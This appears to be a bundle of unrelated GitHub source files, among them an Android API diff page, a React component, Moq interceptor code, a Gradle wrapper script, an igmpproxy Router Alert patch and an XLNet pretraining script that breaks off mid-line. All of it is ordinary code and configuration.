visual style, you must add a reference to `Uno.UI.Lottie` package to your projects or the ring will not be displayed.
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "//www.w3.org/TR/html4/strict.dtd"> <HTML style="overflow:auto;"> <HEAD> <meta name="generator" content="JDiff v1.1.0"> <!-- Generated by the JDiff Javadoc doclet --> <!-- (http://www.jdiff.org) --> <meta name="description" content="JDiff is a Javadoc doclet which generates an HTML report of all the packages, classes, constructors, methods, and fields which have been removed, added or changed in any way, including their documentation, when two APIs are compared."> <meta name="keywords" content="diff, jdiff, javadiff, java diff, java difference, API difference, difference between two APIs, API diff, Javadoc, doclet"> <TITLE> org.apache.http.impl.cookie.NetscapeDraftSpecFactory </TITLE> <link href="../../../../assets/android-developer-docs.css" rel="stylesheet" type="text/css" /> <link href="../stylesheet-jdiff.css" rel="stylesheet" type="text/css" /> <noscript> <style type="text/css"> body{overflow:auto;} #body-content{position:relative; top:0;} #doc-content{overflow:visible;border-left:3px solid #666;} #side-nav{padding:0;} #side-nav .toggle-list ul {display:block;} #resize-packages-nav{border-bottom:3px solid #666;} </style> </noscript> <style type="text/css"> </style> </HEAD> <BODY> <!-- Start of nav bar --> <a name="top"></a> <div id="header" style="margin-bottom:0;padding-bottom:0;"> <div id="headerLeft"> <a href="../../../../index.html" tabindex="-1" target="_top"><img src="../../../../assets/images/bg_logo.png" alt="Android Developers" /></a> </div> <div id="headerRight"> <div id="headerLinks"> <!-- <img src="/assets/images/icon_world.jpg" alt="" /> --> <span class="text"> <!-- &nbsp;<a href="#">English</a> | --> <nobr><a href="//developer.android.com" target="_top">Android Developers</a> | <a href="//www.android.com" target="_top">Android.com</a></nobr> </span> </div> <div class="and-diff-id" style="margin-top:6px;margin-right:8px;"> <table class="diffspectable"> <tr> <td colspan="2" class="diffspechead">API Diff Specification</td> </tr> <tr> <td class="diffspec" style="padding-top:.25em">To Level:</td> <td class="diffvaluenew" style="padding-top:.25em">22</td> </tr> <tr> <td class="diffspec">From Level:</td> <td class="diffvalueold">21</td> </tr> <tr> <td class="diffspec">Generated</td> <td class="diffvalue">2015.02.19 13:16</td> </tr> </table> </div><!-- End and-diff-id --> <div class="and-diff-id" style="margin-right:8px;"> <table class="diffspectable"> <tr> <td class="diffspec" colspan="2"><a href="jdiff_statistics.html">Statistics</a> </tr> </table> </div> <!-- End and-diff-id --> </div> <!-- End headerRight --> </div> <!-- End header --> <div id="body-content" xstyle="padding:12px;padding-right:18px;"> <div id="doc-content" style="position:relative;"> <div id="mainBodyFluid"> <H2> Class org.apache.http.impl.cookie.<A HREF="../../../../reference/org/apache/http/impl/cookie/NetscapeDraftSpecFactory.html" target="_top"><font size="+2"><code>NetscapeDraftSpecFactory</code></font></A> </H2> <p><b>Now deprecated</b>.<br> <a NAME="constructors"></a> <a NAME="methods"></a> <a NAME="fields"></a> </div> <div id="footer"> <div id="copyright"> Except as noted, this content is licensed under <a href="//creativecommons.org/licenses/by/2.5/"> Creative Commons Attribution 2.5</a>. For details and restrictions, see the <a href="/license.html">Content License</a>. </div> <div id="footerlinks"> <p> <a href="//www.android.com/terms.html">Site Terms of Service</a> - <a href="//www.android.com/privacy.html">Privacy Policy</a> - <a href="//www.android.com/branding.html">Brand Guidelines</a> </p> </div> </div> <!-- end footer --> </div><!-- end doc-content --> </div> <!-- end body-content --> <script src="//www.google-analytics.com/ga.js" type="text/javascript"> </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5831155-1"); pageTracker._setAllowAnchor(true); pageTracker._initData(); pageTracker._trackPageview(); } catch(e) {} </script> </BODY> </HTML>
{ "pile_set_name": "Github" }
{ "type": "Live2D Model Setting", "name": "22-2017-vdays", "label": "22", "model": "22.v2.moc", "textures": [ "22.1024/closet.default.v2/texture_00.png", "22.1024/closet.2017.vdays/texture_01.png", "22.1024/closet.2017.vdays/texture_02.png", "22.1024/closet.2017.vdays/texture_03.png" ], "layout": { "center_x": 0, "center_y": 0.1, "width": 2.3, "height": 2.3 }, "motions": { "idle": [ { "file": "motions/22.v2.idle-01.mtn", "fade_in": 2000, "fade_out": 2000 }, { "file": "motions/22.v2.idle-02.mtn", "fade_in": 2000, "fade_out": 2000 }, { "file": "motions/22.v2.idle-03.mtn", "fade_in": 100, "fade_out": 100 } ], "tap_body": [ { "file": "motions/22.v2.touch.mtn", "fade_in": 500, "fade_out": 200 } ], "thanking": [ { "file": "motions/22.v2.thanking.mtn", "fade_in": 2000, "fade_out": 2000 } ] } }
{ "pile_set_name": "Github" }
version https://git-lfs.github.com/spec/v1 oid sha256:bc92c023bff507784b3fb5e88779d1a275ee78d8b6033ada856c78b2e8135db1 size 31165
{ "pile_set_name": "Github" }
import React, { PropTypes } from 'react'; import i18n from 'meteor/universe:i18n'; import FlatButton from 'material-ui/FlatButton'; import FormsyCheckbox from 'formsy-material-ui/lib/FormsyCheckbox'; import Formsy from 'formsy-react'; import { _ } from 'meteor/underscore'; const styles = { collectionsBtn: { width: '100%', textAlign: 'left', }, labelStyle: { textTransform: 'none', overflow: 'hidden', display: 'block', whiteSpace: 'nowrap', textOverflow: 'ellipsis', padding: '0 10px', }, }; class CollectionList extends React.Component { constructor(props) { super(props); this.state = { selectedCollections: false }; this.submitSelectedCollections = this.submitSelectedCollections.bind(this); this.selectCollection = this.selectCollection.bind(this); this.resetConstructor = this.resetConstructor.bind(this); } submitSelectedCollections() { const selectedCollections = this.state.selectedCollections; this.props.setSQLQueryObj({ from: selectedCollections[0], join: selectedCollections[1], }); this.props.changeCollectionState(false); } selectCollection(model) { const selectedCollections = _.compact(_.map(model, (item, key) => item && key)); this.setState({ selectedCollections }); } resetConstructor() { const { setSQLQueryObj, togglePreview, changeCollectionState } = this.props; setSQLQueryObj(); changeCollectionState(true); togglePreview(false); this.setState({ selectedCollections: false }); } render() { const { error, collections, isCollectionsOpen } = this.props; const { selectedCollections } = this.state; if (!collections) return null; return ( <div className="collections-list-container" style={isCollectionsOpen ? { height: '100%' } : {}} > {isCollectionsOpen ? <div className="collections-list-wrapper"> <div className="collections-list sidebar-content"> <Formsy.Form onValidSubmit={this.submitSelectedCollections} ref="collectionsForm" onChange={this.selectCollection} > {collections && collections.map((collection, i) => ( collection.type === 'file' && collection.name !== 'tmp.res' ? <FormsyCheckbox key={`${collection.name}-${i}`} label={collection.name} name={collection.name} disabled={ selectedCollections.length >= 2 && !~selectedCollections.indexOf(collection.name) } /> : '' ))} <div className="actions-btn"> <FlatButton type="submit" label="Submit" primary keyboardFocused /> </div> </Formsy.Form> </div> </div> : <div className="sidebar-header"> <FlatButton style={styles.collectionsBtn} labelStyle={styles.labelStyle} className="clip" label={i18n.__('change_collections')} onTouchTap={this.resetConstructor} disabled={error} /> </div> } </div> ); } } CollectionList.propTypes = { isCollectionsOpen: PropTypes.bool, collections: PropTypes.array, error: PropTypes.object, setSQLQueryObj: PropTypes.func, changeCollectionState: PropTypes.func, togglePreview: PropTypes.func, }; export default CollectionList;
{ "pile_set_name": "Github" }
// Copyright (c) 2007, Clarius Consulting, Manas Technology Solutions, InSTEDD, and Contributors. // All rights reserved. Licensed under the BSD 3-Clause License; see License.txt. using System; using System.Collections.Generic; using System.Linq; using System.Linq.Expressions; using System.Reflection; using Moq.Behaviors; namespace Moq { internal static class HandleWellKnownMethods { private static Dictionary<string, Func<Invocation, Mock, bool>> specialMethods = new Dictionary<string, Func<Invocation, Mock, bool>>() { ["Equals"] = HandleEquals, ["Finalize"] = HandleFinalize, ["GetHashCode"] = HandleGetHashCode, ["get_" + nameof(IMocked.Mock)] = HandleMockGetter, ["ToString"] = HandleToString, }; public static bool Handle(Invocation invocation, Mock mock) { return specialMethods.TryGetValue(invocation.Method.Name, out var handler) && handler.Invoke(invocation, mock); } private static bool HandleEquals(Invocation invocation, Mock mock) { if (IsObjectMethod(invocation.Method) && !mock.MutableSetups.Any(c => IsObjectMethod(c.Method, "Equals"))) { invocation.ReturnValue = ReferenceEquals(invocation.Arguments.First(), mock.Object); return true; } else { return false; } } private static bool HandleFinalize(Invocation invocation, Mock mock) { return IsFinalizer(invocation.Method); } private static bool HandleGetHashCode(Invocation invocation, Mock mock) { // Only if there is no corresponding setup for `GetHashCode()` if (IsObjectMethod(invocation.Method) && !mock.MutableSetups.Any(c => IsObjectMethod(c.Method, "GetHashCode"))) { invocation.ReturnValue = mock.GetHashCode(); return true; } else { return false; } } private static bool HandleToString(Invocation invocation, Mock mock) { // Only if there is no corresponding setup for `ToString()` if (IsObjectMethod(invocation.Method) && !mock.MutableSetups.Any(c => IsObjectMethod(c.Method, "ToString"))) { invocation.ReturnValue = mock.ToString() + ".Object"; return true; } else { return false; } } private static bool HandleMockGetter(Invocation invocation, Mock mock) { if (typeof(IMocked).IsAssignableFrom(invocation.Method.DeclaringType)) { invocation.ReturnValue = mock; return true; } else { return false; } } private static bool IsFinalizer(MethodInfo method) { return method.GetBaseDefinition() == typeof(object).GetMethod("Finalize", BindingFlags.NonPublic | BindingFlags.Instance); } private static bool IsObjectMethod(MethodInfo method) => method.DeclaringType == typeof(object); private static bool IsObjectMethod(MethodInfo method, string name) => IsObjectMethod(method) && method.Name == name; } internal static class FindAndExecuteMatchingSetup { public static bool Handle(Invocation invocation, Mock mock) { var matchingSetup = mock.MutableSetups.FindMatchFor(invocation); if (matchingSetup != null) { matchingSetup.Execute(invocation); return true; } else { return false; } } } internal static class HandleEventSubscription { public static bool Handle(Invocation invocation, Mock mock) { const BindingFlags bindingFlags = BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.DeclaredOnly; var methodName = invocation.Method.Name; // Special case for event accessors. The following, seemingly random character checks are guards against // more expensive checks (for the common case where the invoked method is *not* an event accessor). if (methodName.Length > 4) { if (methodName[0] == 'a' && methodName[3] == '_' && invocation.Method.IsEventAddAccessor()) { var implementingMethod = invocation.Method.GetImplementingMethod(invocation.ProxyType); var @event = implementingMethod.DeclaringType.GetEvents(bindingFlags).SingleOrDefault(e => e.GetAddMethod(true) == implementingMethod); if (@event != null) { bool doesntHaveEventSetup = !mock.MutableSetups.HasEventSetup; if (mock.CallBase && !invocation.Method.IsAbstract) { if (doesntHaveEventSetup) { invocation.ReturnValue = invocation.CallBase(); } } else if (invocation.Arguments.Length > 0 && invocation.Arguments[0] is Delegate delegateInstance) { mock.EventHandlers.Add(@event, delegateInstance); } return doesntHaveEventSetup; } } else if (methodName[0] == 'r' && methodName.Length > 7 && methodName[6] == '_' && invocation.Method.IsEventRemoveAccessor()) { var implementingMethod = invocation.Method.GetImplementingMethod(invocation.ProxyType); var @event = implementingMethod.DeclaringType.GetEvents(bindingFlags).SingleOrDefault(e => e.GetRemoveMethod(true) == implementingMethod); if (@event != null) { bool doesntHaveEventSetup = !mock.MutableSetups.HasEventSetup; if (mock.CallBase && !invocation.Method.IsAbstract) { if (doesntHaveEventSetup) { invocation.ReturnValue = invocation.CallBase(); } } else if (invocation.Arguments.Length > 0 && invocation.Arguments[0] is Delegate delegateInstance) { mock.EventHandlers.Remove(@event, delegateInstance); } return doesntHaveEventSetup; } } } return false; } } internal static class RecordInvocation { public static void Handle(Invocation invocation, Mock mock) { // Save to support Verify[expression] pattern. mock.MutableInvocations.Add(invocation); } } internal static class Return { public static void Handle(Invocation invocation, Mock mock) { new ReturnBaseOrDefaultValue(mock).Execute(invocation); } } internal static class HandleAutoSetupProperties { private static readonly int AccessorPrefixLength = "?et_".Length; // get_ or set_ public static bool Handle(Invocation invocation, Mock mock) { if (mock.AutoSetupPropertiesDefaultValueProvider == null) { return false; } MethodInfo invocationMethod = invocation.Method; if (invocationMethod.IsPropertyAccessor()) { string propertyNameToSearch = invocationMethod.Name.Substring(AccessorPrefixLength); PropertyInfo property = invocationMethod.DeclaringType.GetProperty(propertyNameToSearch); if (property == null) { return false; } var expression = GetPropertyExpression(invocationMethod.DeclaringType, property); object propertyValue; Setup getterSetup = null; if (property.CanRead(out var getter)) { if (ProxyFactory.Instance.IsMethodVisible(getter, out _)) { propertyValue = CreateInitialPropertyValue(mock, getter); getterSetup = new AutoImplementedPropertyGetterSetup(mock, expression, getter, () => propertyValue); mock.MutableSetups.Add(getterSetup); } // If we wanted to optimise for speed, we'd probably be forgiven // for removing the above `IsMethodVisible` guard, as it's rather // unlikely to encounter non-public getters such as the following // in real-world code: // // public T Property { internal get; set; } // // Usually, it's only the setters that are made non-public. For // now however, we prefer correctness. } Setup setterSetup = null; if (property.CanWrite(out var setter)) { if (ProxyFactory.Instance.IsMethodVisible(setter, out _)) { setterSetup = new AutoImplementedPropertySetterSetup(mock, expression, setter, (newValue) => { propertyValue = newValue; }); mock.MutableSetups.Add(setterSetup); } } Setup setupToExecute = invocationMethod.IsGetAccessor() ? getterSetup : setterSetup; setupToExecute.Execute(invocation); return true; } else { return false; } } private static object CreateInitialPropertyValue(Mock mock, MethodInfo getter) { object initialValue = mock.GetDefaultValue(getter, out Mock innerMock, useAlternateProvider: mock.AutoSetupPropertiesDefaultValueProvider); if (innerMock != null) { Mock.SetupAllProperties(innerMock, mock.AutoSetupPropertiesDefaultValueProvider); } return initialValue; } private static LambdaExpression GetPropertyExpression(Type mockType, PropertyInfo property) { var param = Expression.Parameter(mockType, "m"); return Expression.Lambda(Expression.MakeMemberAccess(param, property), param); } } internal static class FailForStrictMock { public static void Handle(Invocation invocation, Mock mock) { if (mock.Behavior == MockBehavior.Strict) { throw MockException.NoSetup(invocation); } } } }
{ "pile_set_name": "Github" }
#!/usr/bin/env bash ############################################################################## ## ## Gradle start up script for UN*X ## ############################################################################## # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. DEFAULT_JVM_OPTS="" APP_NAME="Gradle" APP_BASE_NAME=`basename "$0"` # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD="maximum" warn ( ) { echo "$*" } die ( ) { echo echo "$*" echo exit 1 } # OS specific support (must be 'true' or 'false'). cygwin=false msys=false darwin=false case "`uname`" in CYGWIN* ) cygwin=true ;; Darwin* ) darwin=true ;; MINGW* ) msys=true ;; esac # Attempt to set APP_HOME # Resolve links: $0 may be a link PRG="$0" # Need this for relative symlinks. while [ -h "$PRG" ] ; do ls=`ls -ld "$PRG"` link=`expr "$ls" : '.*-> \(.*\)$'` if expr "$link" : '/.*' > /dev/null; then PRG="$link" else PRG=`dirname "$PRG"`"/$link" fi done SAVED="`pwd`" cd "`dirname \"$PRG\"`/" >/dev/null APP_HOME="`pwd -P`" cd "$SAVED" >/dev/null CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar # Determine the Java command to use to start the JVM. if [ -n "$JAVA_HOME" ] ; then if [ -x "$JAVA_HOME/jre/sh/java" ] ; then # IBM's JDK on AIX uses strange locations for the executables JAVACMD="$JAVA_HOME/jre/sh/java" else JAVACMD="$JAVA_HOME/bin/java" fi if [ ! -x "$JAVACMD" ] ; then die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi else JAVACMD="java" which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi # Increase the maximum file descriptors if we can. if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then MAX_FD_LIMIT=`ulimit -H -n` if [ $? -eq 0 ] ; then if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then MAX_FD="$MAX_FD_LIMIT" fi ulimit -n $MAX_FD if [ $? -ne 0 ] ; then warn "Could not set maximum file descriptor limit: $MAX_FD" fi else warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" fi fi # For Darwin, add options to specify how the application appears in the dock if $darwin; then GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" fi # For Cygwin, switch paths to Windows format before running java if $cygwin ; then APP_HOME=`cygpath --path --mixed "$APP_HOME"` CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` JAVACMD=`cygpath --unix "$JAVACMD"` # We build the pattern for arguments to be converted via cygpath ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` SEP="" for dir in $ROOTDIRSRAW ; do ROOTDIRS="$ROOTDIRS$SEP$dir" SEP="|" done OURCYGPATTERN="(^($ROOTDIRS))" # Add a user-defined pattern to the cygpath arguments if [ "$GRADLE_CYGPATTERN" != "" ] ; then OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" fi # Now convert the arguments - kludge to limit ourselves to /bin/sh i=0 for arg in "$@" ; do CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` else eval `echo args$i`="\"$arg\"" fi i=$((i+1)) done case $i in (0) set -- ;; (1) set -- "$args0" ;; (2) set -- "$args0" "$args1" ;; (3) set -- "$args0" "$args1" "$args2" ;; (4) set -- "$args0" "$args1" "$args2" "$args3" ;; (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; esac fi # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules function splitJvmOpts() { JVM_OPTS=("$@") } eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME" exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
{ "pile_set_name": "Github" }
From fed8c3db10bc9d3a1e799a774924c00522595d0c Mon Sep 17 00:00:00 2001 From: Evgeny Yurchenko <[email protected]> Date: Mon, 4 Jan 2010 05:13:59 +0500 Subject: [PATCH] Send IGMP packets with IP Router Alert option [RFC 2113] included in IP header --- src/igmp.c | 17 ++++++++++++----- src/igmpproxy.h | 1 + 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/src/igmp.c b/src/igmp.c index a0cd27d..b547688 100644 --- a/src/igmp.c +++ b/src/igmp.c @@ -67,7 +67,7 @@ void initIgmp() { * - Checksum (let the kernel fill it in) */ ip->ip_v = IPVERSION; - ip->ip_hl = sizeof(struct ip) >> 2; + ip->ip_hl = (sizeof(struct ip) + 4) >> 2; /* +4 for Router Alert option */ ip->ip_tos = 0xc0; /* Internet Control */ ip->ip_ttl = MAXTTL; /* applies to unicasts only */ ip->ip_p = IPPROTO_IGMP; @@ -213,7 +213,7 @@ void buildIgmp(uint32_t src, uint32_t dst, int type, int code, uint32_t group, i ip = (struct ip *)send_buf; ip->ip_src.s_addr = src; ip->ip_dst.s_addr = dst; - ip_set_len(ip, MIN_IP_HEADER_LEN + IGMP_MINLEN + datalen); + ip_set_len(ip, IP_HEADER_RAOPT_LEN + IGMP_MINLEN + datalen); if (IN_MULTICAST(ntohl(dst))) { ip->ip_ttl = curttl; @@ -221,13 +221,20 @@ void buildIgmp(uint32_t src, uint32_t dst, int type, int code, uint32_t group, i ip->ip_ttl = MAXTTL; } - igmp = (struct igmp *)(send_buf + MIN_IP_HEADER_LEN); + /* Add Router Alert option */ + ((u_char*)send_buf+MIN_IP_HEADER_LEN)[0] = IPOPT_RA; + ((u_char*)send_buf+MIN_IP_HEADER_LEN)[1] = 0x04; + ((u_char*)send_buf+MIN_IP_HEADER_LEN)[2] = 0x00; + ((u_char*)send_buf+MIN_IP_HEADER_LEN)[3] = 0x00; + + igmp = (struct igmp *)(send_buf + IP_HEADER_RAOPT_LEN); igmp->igmp_type = type; igmp->igmp_code = code; igmp->igmp_group.s_addr = group; igmp->igmp_cksum = 0; igmp->igmp_cksum = inetChksum((u_short *)igmp, - IGMP_MINLEN + datalen); + IP_HEADER_RAOPT_LEN + datalen); + } /* @@ -257,7 +264,7 @@ void sendIgmp(uint32_t src, uint32_t dst, int type, int code, uint32_t group, in #endif sdst.sin_addr.s_addr = dst; if (sendto(MRouterFD, send_buf, - MIN_IP_HEADER_LEN + IGMP_MINLEN + datalen, 0, + IP_HEADER_RAOPT_LEN + IGMP_MINLEN + datalen, 0, (struct sockaddr *)&sdst, sizeof(sdst)) < 0) { if (errno == ENETDOWN) my_log(LOG_ERR, errno, "Sender VIF was down."); diff --git a/src/igmpproxy.h b/src/igmpproxy.h index 0de7791..4df8a79 100644 --- a/src/igmpproxy.h +++ b/src/igmpproxy.h @@ -64,6 +64,7 @@ #define MAX_IP_PACKET_LEN 576 #define MIN_IP_HEADER_LEN 20 #define MAX_IP_HEADER_LEN 60 +#define IP_HEADER_RAOPT_LEN 24 #define MAX_MC_VIFS 32 // !!! check this const in the specific includes -- 1.7.2.5
{ "pile_set_name": "Github" }
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); $lang['upload_button'] = 'Upload files here'; $lang['upload-drop-area'] = 'Drop files here to upload'; $lang['upload-cancel'] = 'Cancel'; $lang['upload-failed'] = 'Failed'; $lang['loading'] = 'Loading, please wait...'; $lang['deleting'] = 'Deleting, please wait...'; $lang['saving_title'] = 'Saving title...'; $lang['list_delete'] = 'Delete'; $lang['alert_delete'] = 'Are you sure that you want to delete this image?'; /* End of file english.php */ /* Location: ./assets/image_crud/languages/english.php */
{ "pile_set_name": "Github" }
<span class="hljs-emphasis">_Italic_</span> <span class="hljs-emphasis">*Italic*</span> <span class="hljs-strong">__Bold__</span> <span class="hljs-strong">**Bold**</span> <span class="hljs-emphasis">*Is <span class="hljs-strong">__Combined__</span>*</span> <span class="hljs-strong">__Bold <span class="hljs-emphasis">*then italic*</span>__</span> <span class="hljs-strong">**Bold <span class="hljs-emphasis">_then italic_</span>**</span> <span class="hljs-strong">**Bold and <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span></span>**</span> <span class="hljs-strong">**<span class="hljs-emphasis">_[<span class="hljs-string">this</span>](<span class="hljs-link">https://google.com</span>)_</span>**</span> <span class="hljs-quote">&gt; quoted <span class="hljs-strong">**Bold <span class="hljs-emphasis">_then italic_</span>**</span></span> <span class="hljs-quote">&gt; <span class="hljs-emphasis">_[<span class="hljs-string">this</span>](<span class="hljs-link">https://google.com</span>)_</span></span> <span class="hljs-emphasis">*this is a emphasized paragraph*</span> <span class="hljs-emphasis">*this is too*</span> <span class="hljs-bullet">*</span> list with a <span class="hljs-emphasis">*italic item*</span> <span class="hljs-bullet">*</span> list with a <span class="hljs-strong">**bold item**</span>
{ "pile_set_name": "Github" }
"""Pretraining on GPUs.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os, sys import math import json import time import numpy as np from absl import flags import absl.logging as _logging # pylint: disable=unused-import import tensorflow as tf from embedding_as_service.text.xlnet.models import data_utils from embedding_as_service.text.xlnet.models import model_utils from embedding_as_service.text.xlnet.models.gpu_utils import assign_to_gpu, average_grads_and_vars from embedding_as_service.text.xlnet.models import function_builder # GPU config flags.DEFINE_integer("num_hosts", default=1, help="Number of hosts") flags.DEFINE_integer("num_core_per_host", default=8, help="Number of cores per host") flags.DEFINE_bool("use_tpu", default=False, help="Whether to use TPUs for training.") # Experiment (data/checkpoint/directory) config flags.DEFINE_integer("num_passes", default=1, help="Number of passed used for training.") flags.DEFINE_string("record_info_dir", default=None, help="Path to local directory containing `record_info-lm.json`.") flags.DEFINE_string("model_dir", default=None, help="Estimator model_dir.") flags.DEFINE_string("init_checkpoint", default=None, help="checkpoint path for initializing the model.") # Optimization config flags.DEFINE_float("learning_rate", default=1e-4, help="Maximum learning rate.") flags.DEFINE_float("clip", default=1.0, help="Gradient clipping value.") # for cosine decay flags.DEFINE_float("min_lr_ratio", default=0.001, help="Minimum ratio learning rate.") flags.DEFINE_integer("warmup_steps", default=0, help="Number of steps for linear lr warmup.") flags.DEFINE_float("adam_epsilon", default=1e-8, help="Adam epsilon") flags.DEFINE_string("decay_method", default="poly", help="poly or cos") flags.DEFINE_float("weight_decay", default=0.0, help="weight decay") # Training config flags.DEFINE_integer("train_batch_size", default=16, help="Size of train batch.") flags.DEFINE_integer("train_steps", default=100000, help="Total number of training steps.") flags.DEFINE_integer("iterations", default=1000, help="Number of iterations per repeat loop.") flags.DEFINE_integer("save_steps", default=None, help="number of steps for model checkpointing.") # Data config flags.DEFINE_integer('seq_len', default=0, help='Sequence length for pretraining.') flags.DEFINE_integer('reuse_len', default=0, help="How many tokens to be reused in the next batch. " "Could be half of seq_len") flags.DEFINE_bool("bi_data", default=True, help="Use bidirectional data streams, i.e., forward & backward.") flags.DEFINE_integer("mask_alpha", default=6, help="How many tokens to form a group.") flags.DEFINE_integer("mask_beta", default=1, help="How many tokens to mask within each group.") flags.DEFINE_integer("num_predict", default=None, help="Number of tokens to predict in partial prediction.") flags.DEFINE_integer('perm_size', default=None, help='perm size.') flags.DEFINE_bool("uncased", False, help="Use uncased inputs or not.") flags.DEFINE_integer("n_token", 32000, help="Vocab size") # Model config flags.DEFINE_integer("mem_len", default=0, help="Number of steps to cache") flags.DEFINE_bool("same_length", default=False, help="Same length attention") flags.DEFINE_integer("clamp_len", default=-1, help="Clamp length") flags.DEFINE_integer("n_layer", default=6, help="Number of layers.") flags.DEFINE_integer("d_model", default=32, help="Dimension of the model.") flags.DEFINE_integer("d_embed", default=32, help="Dimension of the embeddings.") flags.DEFINE_integer("n_head", default=4, help="Number of attention heads.") flags.DEFINE_integer("d_head", default=8, help="Dimension of each attention head.") flags.DEFINE_integer("d_inner", default=32, help="Dimension of inner hidden size in positionwise feed-forward.") flags.DEFINE_float("dropout", default=0.0, help="Dropout rate.") flags.DEFINE_float("dropatt", default=0.0, help="Attention dropout rate.") flags.DEFINE_bool("untie_r", default=False, help="Untie r_w_bias and r_r_bias") flags.DEFINE_string("summary_type", default="last", help="Method used to summarize a sequence into a compact vector.") flags.DEFINE_string("ff_activation", default="relu", help="Activation type used in position-wise feed-forward.") flags.DEFINE_bool("use_bfloat16", False, help="Whether to use bfloat16.") # Parameter initialization flags.DEFINE_enum("init", default="normal", enum_values=["normal", "uniform"], help="Initialization method.") flags.DEFINE_float("init_std", default=0.02, help="Initialization std when init is normal.") flags.DEFINE_float("init_range", default=0.1, help="Initialization std when init is uniform.") FLAGS = flags.FLAGS def get_model_fn(): def model_fn(features, labels, mems, is_training): #### Get loss from inputs total_loss, new_mems, monitor_dict = function_builder.get_loss( FLAGS, features, labels, mems, is_training) #### Check model parameters num_params = sum([np.prod(v.shape) for v in tf.trainable_variables()]) tf.logging.info('#params: {}'.format(num_params)) # GPU assert is_training all_vars = tf.trainable_variables() grads = tf.gradients(total_loss, all_vars) grads_and_vars = list(zip(grads, all_vars)) return total_loss, new_mems, grads_and_vars return model_fn def single_core_graph(is_training, features, mems): model_fn = get_model_fn() model_ret = model_fn( features=features, labels=None, mems=mems, is_training=is_training) return model_ret def create_mems_tf(bsz_per_core): mems = [tf.placeholder(dtype=tf.float32, shape=[FLAGS.mem_len, bsz_per_core, FLAGS.d_model]) for layer in range(FLAGS.n_layer)] return mems def initialize_mems_np(bsz_per_core): mems_np = [np.zeros(shape=[FLAGS.mem_len, bsz_per_core, FLAGS.d_model], dtype=np.float32) for layer in range(FLAGS.n_layer)] return mems_np def train(ps_device): ##### Get input function and model function train_input_fn, record_info_dict = data_utils.get_input_fn( tfrecord_dir=FLAGS.record_info_dir, split="train", bsz_per_host=FLAGS.train_batch_size, seq_len=FLAGS.seq_len, reuse_len=FLAGS.reuse_len, bi_data=FLAGS.bi_data, num_hosts=1, num_core_per_host=1, # set to one no matter how many GPUs perm_size=FLAGS.perm_size, mask_alpha=FLAGS.mask_alpha, mask_beta=FLAGS.mask_beta, uncased=FLAGS.uncased, num_passes=FLAGS.num_passes, use_bfloat16=FLAGS.use_bfloat16, num_predict=FLAGS.num_predict) # for key, info in record_info_dict.items(): tf.logging.info("num of batches {}".format(record_info_dict["num_batch"])) ##### Create input tensors / placeholders bsz_per_core = FLAGS.train_batch_size // FLAGS.num_core_per_host params = { "batch_size": FLAGS.train_batch_size # the whole batch } train_set = train_input_fn(params) example = train_set.make_one_shot_iterator().get_next() if FLAGS.num_core_per_host > 1: examples = [{} for _ in range(FLAGS.num_core_per_host)] for key in example.keys(): vals = tf.split(example[key], FLAGS.num_core_per_host, 0) for device_id in range(FLAGS.num_core_per_host): examples[device_id][key] = vals[device_id] else: examples = [example] ##### Create computational graph tower_mems, tower_losses, tower_new_mems, tower_grads_and_vars = [], [], [], [] for i in range(FLAGS.num_core_per_host): reuse = True if i > 0 else None with tf.device(assign_to_gpu(i, ps_device)), \ tf.variable_scope(tf.get_variable_scope(), reuse=reuse): # The mems for each tower is a dictionary mems_i = {} if FLAGS.mem_len: mems_i["mems"] = create_mems_tf(bsz_per_core) loss_i, new_mems_i, grads_and_vars_i = single_core_graph( is_training=True, features=examples[i], mems=mems_i) tower_mems.append(mems_i) tower_losses.append(loss_i) tower_new_mems.append(new_mems_i) tower_grads_and_vars.append(grads_and_vars_i) ## average losses and gradients across towers if len(tower_losses) > 1: loss = tf.add_n(tower_losses) / len(tower_losses) grads_and_vars = average_grads_and_vars(tower_grads_and_vars) else: loss = tower_losses[0] grads_and_vars = tower_grads_and_vars[0] ## get train op train_op, learning_rate, 